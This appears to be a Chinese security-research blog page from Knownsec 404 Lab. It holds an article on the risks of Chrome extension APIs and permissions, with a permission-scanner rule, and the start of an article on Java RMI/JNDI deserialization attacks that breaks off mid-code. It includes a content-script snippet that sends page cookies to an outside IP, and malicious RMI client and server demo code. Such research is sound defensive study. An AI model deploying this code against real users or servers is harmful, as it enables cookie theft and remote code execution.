-
从 0 开始入门 Chrome Ext 安全(二) — 安全的 Chrome Ext
作者:LoRexxar'@知道创宇404实验室
时间:2019年12月5日在2019年初,微软正式选择了Chromium作为默认浏览器,并放弃edge的发展。并在19年4月8日,Edge正式放出了基于Chromium开发的Edge Dev浏览器,并提供了兼容Chrome Ext的配套插件管理。再加上国内的大小国产浏览器大多都是基于Chromium开发的,Chrome的插件体系越来越影响着广大的人群。
在这种背景下,Chrome Ext的安全问题也应该受到应有的关注,《从0开始入门Chrome Ext安全》就会从最基础的插件开发开始,逐步研究插件本身的恶意安全问题,恶意网页如何利用插件漏洞攻击浏览器等各种视角下的安全问题。
上篇我们主要聊了关于最基础插件开发,之后我们就要探讨关于Chrome Ext的安全性问题了,这篇文章我们主要围绕Chrome Ext的api开始,探讨在插件层面到底能对浏览器进行多少种操作。
从一个测试页面开始
为了探讨插件的功能权限范围,首先我们设置一个简单的页面
12345<?phpsetcookie('secret_cookie', 'secret_cookie', time()+3600*24);?>test pages接下来我们将围绕Chrome ext api的功能探讨各种可能存在的安全问题以及攻击层面。
Chrome ext js
content-script
content-script是插件的核心功能代码地方,一般来说,主要的js代码都会出现在content-script中。
它的引入方式在上一篇文章中提到过,要在manfest.json中设置
1234567"content_scripts": [{"matches": ["http://*.nytimes.com/*"],"css": ["myStyles.css"],"js": ["contentScript.js"]}],而content_script js 主要的特点在于他与页面同时加载,可以访问dom,并且也能调用extension、runtime等部分api,但并不多,主要用于和页面的交互。
content_script js
可以通过设置run_at
来设置相对应脚本加载的时机。- document_idle 为默认值,一般来说会在页面dom加载完成之后,window.onload事件触发之前
- document_start 为css加载之后,构造页面dom之前
- document_end 则为dom完成之后,图片等资源加载之前
并且,
content_script js
还允许通过设置all_frames
来使得content_script js
作用于页面内的所有frame
,这个配置默认为关闭,因为这本身是个不安全的配置,这个问题会在后面提到。在
content_script js
中可以直接访问以下Chrome Ext api:- i18n
- storage
- runtime:
- connect
- getManifest
- getURL
- id
- onConnect
- onMessage
- sendMessage
在了解完基本的配置后,我们就来看看
content_script js
可以对页面造成什么样的安全问题。安全问题
对于
content_script js
来说,首当其中的一个问题就是,插件可以获取页面的dom,换言之,插件可以操作页面内的所有dom,其中就包括非httponly的cookie.这里我们简单把
content_script js
中写入下面的代码12345console.log(document.cookie);console.log(document.documentElement.outerHTML);var xhr = new XMLHttpRequest();xhr.open("get", "http://212.129.137.248?a="+document.cookie, false);xhr.send()然后加载插件之后刷新页面
可以看到成功获取到了页面内dom的信息,并且如果我们通过xhr跨域传出消息之后,我们在后台也成功收到了这个请求。
这也就意味着,如果插件作者在插件中恶意修改dom,甚至获取dom值传出都可以通过浏览器使用者无感的方式进行。
在整个浏览器的插件体系内,各个层面都存在着这个问题,其中
content_script js
、injected script js
和devtools js
都可以直接访问操作dom,而popup js和background js都可以通过chrome.tabs.executeScript来动态执行js,同样可以执行js修改dom。除了前面的问题以外,事实上
content_script js
能访问到的chrome api非常之少,也涉及不到什么安全性,这里暂且不提。popup/background js
popup js和backround js两个主要的区别在于加载的时机,由于他们不能访问dom,所以这两部分的js在浏览器中主要依靠事件驱动。
其中的主要区别是,background js在事件触发之后会持续执行,而且在关闭所有可见视图和端口之前不会结束。值得注意的是,页面打开、点击拓展按钮都连接着相应的事件,而不会直接影响插件的加载。
而除此之外,这两部分js最重要的特性在于,他们可以调用大部分的chrome ext api,在后面我们将一起探索一下各种api。
devtools js
devtools js在插件体系中是一个比较特别的体系,如果我们一般把F12叫做开发者工具的话,那devtools js就是开发者工具的开发者工具。
权限和域限制大体上和content js 一致,而唯一特别的是他可以操作3个特殊的api:
- chrome.devtools.panels:面板相关;
- chrome.devtools.inspectedWindow:获取被审查窗口的有关信息;
- chrome.devtools.network:获取有关网络请求的信息;
而这三个api也主要是用于修改F12和获取信息的,其他的就不赘述了。
Chrome Ext Api
chrome.cookies
chrome.cookies api需要给与域权限以及cookies权限,在manfest.json中这样定义:
123456789{"name": "My extension",..."permissions": ["cookies","*://*.google.com"],...}当申请这样的权限之后,我们可以通过调用chrome.cookies去获取google.com域下的所有cookie.
其中一共包含5个方法
- get - chrome.cookies.get(object details, function callback)
获取符合条件的cookie - getAll - chrome.cookies.getAll(object details, function callback)
获取符合条件的所有cookie - set - chrome.cookies.set(object details, function callback)
设置cookie - remove - chrome.cookies.remove(object details, function callback)
删除cookie - getAllCookieStores - chrome.cookies.getAllCookieStores(function callback)
列出所有储存的cookie
和一个事件
- chrome.cookies.onChanged.addListener(function callback)
当cookie删除或者更改导致的事件
当插件拥有cookie权限时,他们可以读写所有浏览器存储的cookie.
chrome.contentSettings
chrome.contentSettings api 用来设置浏览器在访问某个网页时的基础设置,其中包括cookie、js、插件等很多在访问网页时生效的配置。
在manifest中需要申请contentSettings的权限
12345678{"name": "My extension",..."permissions": ["contentSettings"],...}在content.Setting的api中,方法主要用于修改设置
12345678910111213141516- ResourceIdentifier- Scope- ContentSetting- CookiesContentSetting- ImagesContentSetting- JavascriptContentSetting- LocationContentSetting- PluginsContentSetting- PopupsContentSetting- NotificationsContentSetting- FullscreenContentSetting- MouselockContentSetting- MicrophoneContentSetting- CameraContentSetting- PpapiBrokerContentSetting- MultipleAutomaticDownloadsContentSetting因为没有涉及到太重要的api,这里就暂时不提
chrome.desktopCapture
chrome.desktopCapture可以被用来对整个屏幕,浏览器或者某个页面截图(实时)。
在manifest中需要申请desktopCapture的权限,并且浏览器提供了获取媒体流的一个方法。
- chooseDesktopMedia - integer chrome.desktopCapture.chooseDesktopMedia(array of DesktopCaptureSourceType sources, tabs.Tab targetTab, function callback)
- cancelChooseDesktopMedia - chrome.desktopCapture.cancelChooseDesktopMedia(integer desktopMediaRequestId)
其中DesktopCaptureSourceType被设置为"screen", "window", "tab", or "audio"的列表。
获取到相应截图之后,该方法会将相对应的媒体流id传给回调函数,这个id可以通过getUserMedia这个api来生成相应的id,这个新创建的streamid只能使用一次并且会在几秒后过期。
这里用一个简单的demo来示范
123456789101112131415161718192021function gotStream(stream) {console.log("Received local stream");var video = document.querySelector("video");video.src = URL.createObjectURL(stream);localstream = stream;stream.onended = function() { console.log("Ended"); };}chrome.desktopCapture.chooseDesktopMedia(["screen"], function (id) {navigator.webkitGetUserMedia({audio: false,video: {mandatory: {chromeMediaSource: "desktop",chromeMediaSourceId: id}}}, gotStream);}});这里获取的是一个实时的视频流
chrome.pageCapture
chrome.pageCapture的大致逻辑和desktopCapture比较像,在manifest需要申请pageCapture的权限
12345678{"name": "My extension",..."permissions": ["pageCapture"],...}它也只支持saveasMHTML一种方法
- saveAsMHTML - chrome.pageCapture.saveAsMHTML(object details, function callback)
通过调用这个方法可以获取当前浏览器任意tab下的页面源码,并保存为blob格式的对象。
唯一的问题在于需要先知道tabid
chrome.tabCapture
chrome.tabCapture和chrome.desktopCapture类似,其主要功能区别在于,tabCapture可以捕获标签页的视频和音频,比desktopCapture来说要更加针对。
同样的需要提前声明tabCapture权限。
主要方法有
- capture - chrome.tabCapture.capture( CaptureOptions options, function callback)
- getCapturedTabs - chrome.tabCapture.getCapturedTabs(function callback)
- captureOffscreenTab - chrome.tabCapture.captureOffscreenTab(string startUrl, CaptureOptions options, function callback)
- getMediaStreamId - chrome.tabCapture.getMediaStreamId(object options, function callback)
这里就不细讲了,大部分api都是用来捕获媒体流的,进一步使用就和desktopCapture中提到的使用方法相差不大。
chrome.webRequest
chrome.webRequest主要用户观察和分析流量,并且允许在运行过程中拦截、阻止或修改请求。
在manifest中这个api除了需要webRequest以外,还有有相应域的权限,比如
*://*.*:*
,而且要注意的是如果是需要拦截请求还需要webRequestBlocking的权限123456789{"name": "My extension",..."permissions": ["webRequest","*://*.google.com/"],...}在具体了解这个api之前,首先我们必须了解一次请求在浏览器层面的流程,以及相应的事件触发。
在浏览器插件的世界里,相应的事件触发被划分为多个层级,每个层级逐一执行处理。
由于这个api下的接口太多,这里拿其中的一个举例子
123456chrome.webRequest.onBeforeRequest.addListener(function(details) {return {cancel: details.url.indexOf("://www.baidu.com/") != -1};},{urls: ["<all_urls>"]},["blocking"]);当访问baidu的时候,请求会被block
当设置了redirectUrl时会产生相应的跳转
12345678chrome.webRequest.onBeforeRequest.addListener(function(details) {if(details.url.indexOf("://www.baidu.com/") != -1){return {redirectUrl: "https://lorexxar.cn"};}},{urls: ["<all_urls>"]},["blocking"]);此时访问www.baidu.com会跳转lorexxar.cn
在文档中提到,通过这些api可以直接修改post提交的内容。
chrome.bookmarks
chrome.bookmarks是用来操作chrome收藏夹栏的api,可以用于获取、修改、创建收藏夹内容。
在manifest中需要申请bookmarks权限。
当我们使用这个api时,不但可以获取所有的收藏列表,还可以静默修改收藏对应的链接。
chrome.downloads
chrome.downloads是用来操作chrome中下载文件相关的api,可以创建下载,继续、取消、暂停,甚至可以打开下载文件的目录或打开下载的文件。
这个api在manifest中需要申请downloads权限,如果想要打开下载的文件,还需要申请downloads.open权限。
123456789{"name": "My extension",..."permissions": ["downloads","downloads.open"],...}在这个api下,提供了许多相关的方法
- download - chrome.downloads.download(object options, function callback)
- search - chrome.downloads.search(object query, function callback)
- pause - chrome.downloads.pause(integer downloadId, function callback)
- resume - chrome.downloads.resume(integer downloadId, function callback)
- cancel - chrome.downloads.cancel(integer downloadId, function callback)
- getFileIcon - chrome.downloads.getFileIcon(integer downloadId, object options, function callback)
- open - chrome.downloads.open(integer downloadId)
- show - chrome.downloads.show(integer downloadId)
- showDefaultFolder - chrome.downloads.showDefaultFolder()
- erase - chrome.downloads.erase(object query, function callback)
- removeFile - chrome.downloads.removeFile(integer downloadId, function callback)
- acceptDanger - chrome.downloads.acceptDanger(integer downloadId, function callback)
- setShelfEnabled - chrome.downloads.setShelfEnabled(boolean enabled)
当我们拥有相应的权限时,我们可以直接创建新的下载,如果是危险后缀,比如.exe等会弹出一个相应的危险提示。
除了在下载过程中可以暂停、取消等方法,还可以通过show打开文件所在目录或者open直接打开文件。
但除了需要额外的open权限以外,还会弹出一次提示框。
相应的其实可以下载
file:///C:/Windows/System32/calc.exe
并执行,只不过在下载和执行的时候会有专门的危险提示。反之来说,如果我们下载的是一个标识为非危险的文件,那么我们就可以静默下载并且打开文件。
chrome.history && chrome.sessions
chrome.history 是用来操作历史纪录的api,和我们常见的浏览器历史记录的区别就是,这个api只能获取这次打开浏览器中的历史纪律,而且要注意的是,只有关闭的网站才会算进历史记录中。
这个api在manfiest中要申请history权限。
12345678{"name": "My extension",..."permissions": ["history"],...}api下的所有方法如下,主要围绕增删改查来
- search - chrome.history.search(object query, function callback)
- getVisits - chrome.history.getVisits(object details, function callback)
- addUrl - chrome.history.addUrl(object details, function callback)
- deleteUrl - chrome.history.deleteUrl(object details, function callback)
- deleteRange - chrome.history.deleteRange(object range, function callback)
- deleteAll - chrome.history.deleteAll(function callback)
浏览器可以获取这次打开浏览器之后所有的历史纪录。
在chrome的api中,有一个api和这个类似-chrome.sessions
这个api是用来操作和回复浏览器会话的,同样需要申请sessions权限。
- getRecentlyClosed - chrome.sessions.getRecentlyClosed( Filter filter, function callback)
- getDevices - chrome.sessions.getDevices( Filter filter, function callback)
- restore - chrome.sessions.restore(string sessionId, function callback)
通过这个api可以获取最近关闭的标签会话,还可以恢复。
chrome.tabs
chrome.tabs是用于操作标签页的api,算是所有api中比较重要的一个api,其中有很多特殊的操作,除了可以控制标签页以外,也可以在标签页内执行js,改变css。
无需声明任何权限就可以调用tabs中的大多出api,但是如果需要修改tab的url等属性,则需要tabs权限,除此之外,想要在tab中执行js和修改css,还需要activeTab权限才行。
- get - chrome.tabs.get(integer tabId, function callback)
- getCurrent - chrome.tabs.getCurrent(function callback)
- connect - runtime.Port chrome.tabs.connect(integer tabId, object connectInfo)
- sendRequest - chrome.tabs.sendRequest(integer tabId, any request, function responseCallback)
- sendMessage - chrome.tabs.sendMessage(integer tabId, any message, object options, function responseCallback)
- getSelected - chrome.tabs.getSelected(integer windowId, function callback)
- getAllInWindow - chrome.tabs.getAllInWindow(integer windowId, function callback)
- create - chrome.tabs.create(object createProperties, function callback)
- duplicate - chrome.tabs.duplicate(integer tabId, function callback)
- query - chrome.tabs.query(object queryInfo, function callback)
- highlight - chrome.tabs.highlight(object highlightInfo, function callback)
- update - chrome.tabs.update(integer tabId, object updateProperties, function callback)
- move - chrome.tabs.move(integer or array of integer tabIds, object - moveProperties, function callback)
- reload - chrome.tabs.reload(integer tabId, object reloadProperties, function callback)
- remove - chrome.tabs.remove(integer or array of integer tabIds, function callback)
- detectLanguage - chrome.tabs.detectLanguage(integer tabId, function callback)
- captureVisibleTab - chrome.tabs.captureVisibleTab(integer windowId, object options, function callback)
- executeScript - chrome.tabs.executeScript(integer tabId, object details, function callback)
- insertCSS - chrome.tabs.insertCSS(integer tabId, object details, function callback)
- setZoom - chrome.tabs.setZoom(integer tabId, double zoomFactor, function callback)
- getZoom - chrome.tabs.getZoom(integer tabId, function callback)
- setZoomSettings - chrome.tabs.setZoomSettings(integer tabId, ZoomSettings zoomSettings, function callback)
- getZoomSettings - chrome.tabs.getZoomSettings(integer tabId, function callback)
- discard - chrome.tabs.discard(integer tabId, function callback)
- goForward - chrome.tabs.goForward(integer tabId, function callback)
- goBack - chrome.tabs.goBack(integer tabId, function callback)
一个比较简单的例子,如果获取到tab,我们可以通过update静默跳转tab。
同样的,除了可以控制任意tab的链接以外,我们还可以新建、移动、复制,高亮标签页。
当我们拥有activeTab权限时,我们还可以使用captureVisibleTab来截取当前页面,并转化为data数据流。
同样我们可以用executeScript来执行js代码,这也是popup和当前页面一般沟通的主要方式。
这里我主要整理了一些和敏感信息相关的API,对于插件的安全问题讨论也将主要围绕这些API来讨论。
chrome 插件权限体系
在了解基本的API之后,我们必须了解一下chrome 插件的权限体系,在跟着阅读前面相关api的部分之后,不难发现,chrome其实对自身的插件体系又非常严格的分割,但也许正是因为这样,对于插件开发者来说,可能需要申请太多的权限用于插件。
所以为了省事,chrome还给出了第二种权限声明方式,就是基于域的权限体系。
在权限申请中,可以申请诸如:
"http://*/*",
"https://*/*"
"*://*/*",
"http://*/",
"https://*/",
这样针对具体域的权限申请方式,还支持
<all_urls>
直接替代所有。在后来的权限体系中,Chrome新增了
activeTab
来替代<all_urls>
,在声明了activeTab
之后,浏览器会赋予插件操作当前活跃选项卡的操作权限,且不会声明具体的权限要求。- 当没有activeTab
- 当申请activeTab后
当activeTab权限被声明之后,无需任何其他权限就可以执行以下操作:
- 调用tabs.executeScript 和 tabs.insertCSS
- 通过tabs.Tab对象获取页面的各种信息
- 获取webRequest需要的域权限
换言之,当插件申请到activeTab权限时,哪怕获取不到浏览器信息,也能任意操作浏览的标签页。
更何况,对于大多数插件使用者,他们根本不关心插件申请了什么权限,所以插件开发者即便申请需要权限也不会影响使用,在这种理念下,安全问题就诞生了。
真实世界中的数据
经过粗略统计,现在公开在chrome商店的chrome ext超过40000,还不包括私下传播的浏览器插件。
为了能够尽量真实的反映真实世界中的影响,这里我们随机选取1200个chrome插件,并从这部分的插件中获取一些结果。值得注意的是,下面提到的权限并不一定代表插件不安全,只是当插件获取这样的权限时,它就有能力完成不安 全的操作。
这里我们使用Cobra-W新增的Chrome ext扫描功能对我们选取的1200个目标进行扫描分析。
1python3 cobra.py -t '..\chrome_target\' -r 4104 -lan chromeext -d<all-url>
当插件获取到
<all-url>
或者*://*/*
等类似的权限之后,插件可以操作所有打开的标签页,可以静默执行任意js、css代码。我们可以用以下规则来扫描:
1234567891011121314151617181920212223242526272829303132333435363738394041class CVI_4104:"""rule for chrome crx"""def __init__(self):self.svid = 4104self.language = "chromeext"self.author = "LoRexxar"self.vulnerability = "Manifest.json permissions 要求权限过大"self.description = "Manifest.json permissions 要求权限过大"# statusself.status = True# 部分配置self.match_mode = "special-crx-keyword-match"self.keyword = "permissions"self.match = ["http://*/*","https://*/*","*://*/*","<all_urls>","http://*/","https://*/","activeTab",]self.match = list(map(re.escape, self.match))self.unmatch = []self.vul_function = Nonedef main(self, regex_string):"""regex string input:regex_string: regex match string:return:"""pass在我们随机挑选的1200个插件中,共585个插件申请了相关的权限。
其中大部分插件都申请了相对范围较广的覆盖范围。
其他
然后我们主要扫描部分在前面提到过的敏感api权限,涉及到相关的权限的插件数量如下:
后记
在翻阅了chrome相关的文档之后,我们不难发现,作为浏览器中相对独立的一层,插件可以轻松的操作相对下层的会话层,同时也可以在获取一定的权限之后,读取一些更上层例如操作系统的信息...
而且最麻烦的是,现代在使用浏览器的同时,很少会在意浏览器插件的安全性,而事实上,chrome商店也只能在一定程度上检测插件的安全性,但是却没办法完全验证,换言之,如果你安装了一个恶意插件,也没有任何人能为你的浏览器负责...安全问题也就真实的影响着各个浏览器的使用者。
ref
没有评论 -
Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)
作者:Longofo@知道创宇404实验室
时间:2019年11月4日之前看了SHIRO-721这个漏洞,然后这个漏洞和SHIRO-550有些关联,在SHIRO-550的利用方式中又看到了利用ysoserial中的JRMP exploit,然后又想起了RMI、JNDI、LDAP、JMX、JMS这些词。这些东西也看到了几次,也看过对应的文章,但把他们联想在一起时这些概念又好像交叉了一样容易混淆。网上的一些资料也比较零散与混乱,所以即使以前看过,没有放在一起看的话很容易混淆。下面是对RMI、JNDI、LDAP、JRMP、JMX、JMS一些资料的整理。
注:这篇先写了RMI、JNDI、LDAP的内容,JRMP、JMX、JMS下篇再继续。文章很长,阅读需要些耐心。
测试环境说明
- 文中的测试代码放到了github上
- 测试代码的JDK版本在文中会具体说明,有的代码会被重复使用,对应的JDK版本需要自己切换
RMI
在看下以下内容之前,可以阅读下这篇文章[1],里面包括了Java RMI相关的介绍,包括对Java RMI的简介、远程对象与非远程对象的区别、Stubs与skeletons、远程接口、UnicastRemoteObject类、RMI注册表、RMI动态加载等内容。
Java RMI
远程方法调用是分布式编程中的一个基本思想。实现远程方法调用的技术有很多,例如CORBA、WebService,这两种是独立于编程语言的。而Java RMI是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法并获取执行结果,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。
在这篇文章[2]中,作者举了一个例子来描述RMI:
假设A公司是某个行业的翘楚,开发了一系列行业上领先的软件。B公司想利用A公司的行业优势进行一些数据上的交换和处理。但A公司不可能把其全部软件都部署到B公司,也不能给B公司全部数据的访问权限。于是A公司在现有的软件结构体系不变的前提下开发了一些RMI方法。B公司调用A公司的RMI方法来实现对A公司数据的访问和操作,而所有数据和权限都在A公司的控制范围内,不用担心B公司窃取其数据或者商业机密。
对于开发者来说,远程方法调用就像我们本地调用一个对象的方法一样,他们很多时候不需要关心内部如何实现,只关心传递相应的参数并获取结果就行了。但是对于攻击者来说,要执行攻击还是需要了解一些细节的。
注:这里我在RMI前面加上了Java是为了和Weblogic RMI区分。Java本身对RMI规范的实现默认使用的是JRMP协议,而Weblogic对RMI规范的实现使用T3协议,Weblogic之所以开发T3协议,是因为他们需要可扩展,高效的协议来使用Java构建企业级的分布式对象系统。
JRMP:Java Remote Message Protocol ,Java 远程消息交换协议。这是运行在Java RMI之下、TCP/IP之上的线路层协议。该协议要求服务端与客户端都为Java编写,就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。
Java RMI远程方法调用过程
几个tips:
- RMI的传输是基于反序列化的。
- 对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象,迫使服务器端将这个对象按任何一个存在于服务端classpath(不在classpath的情况,可以看后面RMI动态加载类相关部分)中的可序列化类来反序列化恢复对象。
使用远程方法调用,会涉及参数的传递和执行结果的返回。参数或者返回值可以是基本数据类型,当然也有可能是对象的引用。所以这些需要被传输的对象必须可以被序列化,这要求相应的类必须实现 java.io.Serializable 接口,并且客户端的serialVersionUID字段要与服务器端保持一致。
在JVM之间通信时,RMI对远程对象和非远程对象的处理方式是不一样的,它并没有直接把远程对象复制一份传递给客户端,而是传递了一个远程对象的Stub,Stub基本上相当于是远程对象的引用或者代理(Java RMI使用到了代理模式)。Stub对开发者是透明的,客户端可以像调用本地方法一样直接通过它来调用远程方法。Stub中包含了远程对象的定位信息,如Socket端口、服务端主机地址等等,并实现了远程调用过程中具体的底层网络通信细节,所以RMI远程调用逻辑是这样的:
从逻辑上来说,数据是在Client和Server之间横向流动的,但是实际上是从Client到Stub,然后从Skeleton到Server这样纵向流动的:
- Server端监听一个端口,这个端口是JVM随机选择的;
- Client端并不知道Server远程对象的通信地址和端口,但是Stub中包含了这些信息,并封装了底层网络操作;
- Client端可以调用Stub上的方法;
- Stub连接到Server端监听的通信端口并提交参数;
- 远程Server端上执行具体的方法,并返回结果给Stub;
- Stub返回执行结果给Client端,从Client看来就好像是Stub在本地执行了这个方法一样;
怎么获取Stub呢?
假设Stub可以通过调用某个远程服务上的方法向远程服务来获取,但是调用远程方法又必须先有远程对象的Stub,所以这里有个死循环问题。JDK提供了一个RMI注册表(RMIRegistry)来解决这个问题。RMIRegistry也是一个远程对象,默认监听在传说中的1099端口上,可以使用代码启动RMIRegistry,也可以使用rmiregistry命令。
使用RMI Registry之后,RMI的调用关系应该是这样的:
所以从客户端角度看,服务端应用是有两个端口的,一个是RMI Registry端口(默认为1099),另一个是远程对象的通信端口(随机分配的),通常我们只需要知道Registry的端口就行了,Server的端口包含在了Stub中。RMI Registry可以和Server端在一台服务器上,也可以在另一台服务器上,不过大多数时候在同一台服务器上且运行在同一JVM环境下。
模拟Java RMI利用
我们使用下面的例子来模拟Java RMI的调用过程并执行攻击:
1.创建服务端对象类,先创建一个接口继承
java.rmi.Remote
12345678//Services.javapackage com.longofo.javarmi;import java.rmi.RemoteException;public interface Services extends java.rmi.Remote {String sendMessage(Message msg) throws RemoteException;}2.创建服务端对象类,实现这个接口
1234567891011121314//ServicesImpl.javapackage com.longofo.javarmi;import java.rmi.RemoteException;public class ServicesImpl implements Services {public ServicesImpl() throws RemoteException {}@Overridepublic String sendMessage(Message msg) throws RemoteException {return msg.getMessage();}}3.创建服务端远程对象骨架skeleton并绑定在Registry上
123456789101112131415161718192021222324252627282930313233343536373839404142//RMIServer.javapackage com.longofo.javarmi;import java.rmi.RMISecurityManager;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.UnicastRemoteObject;public class RMIServer {/*** Java RMI 服务端** @param args*/public static void main(String[] args) {try {// 实例化服务端远程对象ServicesImpl obj = new ServicesImpl();// 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);Registry reg;try {//如果需要使用RMI的动态加载功能,需要开启RMISecurityManager,并配置policy以允许从远程加载类库System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("java.policy").getFile());RMISecurityManager securityManager = new RMISecurityManager();System.setSecurityManager(securityManager);// 创建Registryreg = LocateRegistry.createRegistry(9999);System.out.println("java RMI registry created. port on 9999...");} catch (Exception e) {System.out.println("Using existing registry");reg = LocateRegistry.getRegistry();}//绑定远程对象到Registryreg.rebind("Services", services);} catch (RemoteException e) {e.printStackTrace();}}}4.创建恶意客户端
123456789101112131415161718192021222324package com.longofo.javarmi;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIClient {/*** Java RMI恶意利用demo** @param args* @throws Exception*/public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.getRegistry();// 获取远程对象的引用Services services = (Services) registry.lookup("rmi://127.0.0.1:9999/Services");PublicKnown malicious = new PublicKnown();malicious.setParam("calc");malicious.setMessage("haha");// 使用远程对象的引用调用对应的方法System.out.println(services.sendMessage(malicious));}}上面这个例子是在CVE-2017-3241分析[3]中提供代码基础上做了一些修改,完整的测试代码已经放到github上了,先启动RMI Server端
java-rmi-server/src/main/java/com/longofo/javarmi/RMIServer
,在启动RMI客户端java-rmi-client/src/main/java/com/longofo/javarmi/RMIClient
就可以复现,在JDK 1.6.0_29测试通过。在ysoserial中的RMIRegistryExploit提供另一种思路,利用其他客户端也能向服务端的Registry注册远程对象的功能,由于对象绑定时也传递了序列化的数据,在Registry端(通常和服务端在同一服务器且处于同一JVM下)会对数据进行反序列化处理,RMIRegistryExploit中使用的CommonsCollections1这个payload,如果Registry端也存在CommonsCollections1这个payload使用到的类就能恶意利用。对于一些CommonsCollections1利用不了的情况,例如CommonsCollections1中相关利用类被过滤拦截了,也还有其他例如结合JRMP方式进行利用的方法,可以参考下这位作者的思路。
这里还需要注意这时Server端是作为RMI的服务端而成为受害者,在后面的RMI动态类加载或JNDI注入中可以看到Server端也可以作为RMI客户端成为受害者。
上面的代码假设RMIServer就是提供Java RMI远程方法调用服务的厂商,他提供了一个Services接口供远程调用;
在客户端中,正常调用应该是
stub.sendMessage(Message)
,这个参数应该是Message类对象的,但是我们知道服务端存在一个公共的已知PublicKnown类(比如经典的Apache Common Collection,这里只是用PublicKnown做一个类比),它有readObject方法并且在readObject中存在命令执行的能力,所以我们客户端可以写一个与服务端包名,类名相同的类并继承Message类(Message类在客户端服务端都有的),根据上面两个Tips,在服务端会反序列化传递的数据,然后到达PublicKnown执行命令的地方(这里需要注意的是服务端PublicKnown类的serialVersionUID与客户端的PublicKnown需要保持一致,如果不写在序列化时JVM会自动根据类的属性等生成一个UID,不过有时候自动生成的可能会不一致,不过不一致时,Java RMI服务端会返回错误,提示服务端相应类的serialVersionUID,在本地类重新加上服务端的serialVersionUID就行了):上面这个错误也是从服务端发送过来的,不过不要紧,命令在出现错误之前就执行了。
来看下调用栈,我们在服务端的PublicKnown类中readObject下个断点,
从
sun.rmi.server.UnicastRef
开始调用了readObject,然后一直到调用PublicKnown类的readObject抓包看下通信的数据:
可以看到PublicKnown类对象确实被序列化传递了,通信过程全程都有被序列化的数据,那么在服务端也肯定会会进行反序列化恢复对象,可以自己抓包看下。
Java RMI的动态加载类
java.rmi.server.codebase:
java.rmi.server.codebase
属性值表示一个或多个URL位置,可以从中下载本地找不到的类,相当于一个代码库。代码库定义为将类加载到虚拟机的源或场所,可以将CLASSPATH
视为“本地代码库”,因为它是磁盘上加载本地类的位置的列表。就像CLASSPATH
"本地代码库"一样,小程序和远程对象使用的代码库可以被视为"远程代码库"。RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的class文件可以使用http://、ftp://、file://进行托管。这可以动态的扩展远程应用的功能,RMI注册表上可以动态的加载绑定多个RMI应用。对于客户端而言,如果服务端方法的返回值可能是一些子类的对象实例,而客户端并没有这些子类的class文件,如果需要客户端正确调用这些子类中被重写的方法,客户端就需要从服务端提供的
java.rmi.server.codebase
URL去加载类;对于服务端而言,如果客户端传递的方法参数是远程对象接口方法参数类型的子类,那么服务端需要从客户端提供的java.rmi.server.codebase
URL去加载对应的类。客户端与服务端两边的java.rmi.server.codebase
URL都是互相传递的。无论是客户端还是服务端要远程加载类,都需要满足以下条件:- 由于Java SecurityManager的限制,默认是不允许远程加载的,如果需要进行远程加载类,需要安装RMISecurityManager并且配置java.security.policy,这在后面的利用中可以看到。
- 属性 java.rmi.server.useCodebaseOnly 的值必需为false。但是从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前虚拟机的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止虚拟机从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
注:在JNDI注入的利用方法中也借助了这种动态加载类的思路。
远程方法返回对象为远程接口方法返回对象的子类(目标Server端为RMI客户端时的恶意利用)
远程对象象接口(这个接口一般都是公开的):
12345678//Services.javapackage com.longofo.javarmi;import java.rmi.RemoteException;public interface Services extends java.rmi.Remote {Object sendMessage(Message msg) throws RemoteException;}恶意的远程对象类的实现:
12345678910111213package com.longofo.javarmi;import com.longofo.remoteclass.ExportObject;import java.rmi.RemoteException;public class ServicesImpl1 implements Services {@Override//这里在服务端将返回值设置为了远程对象接口Object的子类,这个ExportObject在客户端是不存在的public ExportObject sendMessage(Message msg) throws RemoteException {return new ExportObject();}}恶意的RMI服务端:
12345678910111213141516171819202122232425262728293031323334353637package com.longofo.javarmi;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.UnicastRemoteObject;public class RMIServer1 {public static void main(String[] args) {try {// 实例化服务端远程对象ServicesImpl1 obj = new ServicesImpl1();// 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);//设置java.rmi.server.codebaseSystem.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");Registry reg;try {// 创建Registryreg = LocateRegistry.createRegistry(9999);System.out.println("java RMI registry created. port on 9999...");} catch (Exception e) {System.out.println("Using existing registry");reg = LocateRegistry.getRegistry();}//绑定远程对象到Registryreg.bind("Services", services);} catch (RemoteException e) {e.printStackTrace();} catch (AlreadyBoundException e) {e.printStackTrace();}}}RMI客户端:
1234567891011121314151617181920212223242526272829//RMIClient1.javapackage com.longofo.javarmi;import java.rmi.RMISecurityManager;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIClient1 {/*** Java RMI恶意利用demo** @param args* @throws Exception*/public static void main(String[] args) throws Exception {//如果需要使用RMI的动态加载功能,需要开启RMISecurityManager,并配置policy以允许从远程加载类库System.setProperty("java.security.policy", RMIClient1.class.getClassLoader().getResource("java.policy").getFile());RMISecurityManager securityManager = new RMISecurityManager();System.setSecurityManager(securityManager);Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);// 获取远程对象的引用Services services = (Services) registry.lookup("Services");Message message = new 